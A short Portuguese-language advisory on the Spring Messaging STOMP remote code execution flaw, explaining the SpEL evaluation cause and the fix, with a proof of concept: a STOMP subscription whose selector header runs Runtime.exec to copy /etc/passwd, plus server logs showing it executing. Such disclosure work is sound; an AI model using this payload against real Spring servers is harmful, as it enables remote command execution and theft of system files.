
RCE no protocolo STOMP da mensageria Spring
Ontem, a Spring divulgou uma vulnerabilidade RCE. Vamos dar uma olhada:
Versões afetadas
Esta vulnerabilidade não requer ambiente específico. Se você estiver usando spring-messaging + websocket + STOMP, atualize para a versão mais recente o mais rápido possível; se estiver usando SpringBoot, atualize para 2.0.1.RELEASE.
Simplificando, como o StandardEvaluationContext tem permissões excessivas, é possível executar qualquer expressão SpEL. Por isso, a partir do Spring 5.0.5, a oficial adicionou o SimpleEvaluationContext, que permite uma vinculação de dados simples, mantendo a flexibilidade sem trazer riscos de segurança.
O spring-messaging fornece suporte ao protocolo STOMP, permitindo que os clientes assinem mensagens e usem um seletor para filtrá-las. Exemplo:
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Quando você assina, o Spring armazena esse filtro e o aciona quando o cliente recebe a mensagem. Exemplo:
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Captura de tela do PoC

O artigo detalhado sobre a análise da vulnerabilidade será publicado em breve.
Compile e inicie o servidor Spring Boot:
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Acesse - insira a expressão para testar:
http://localhost:8080
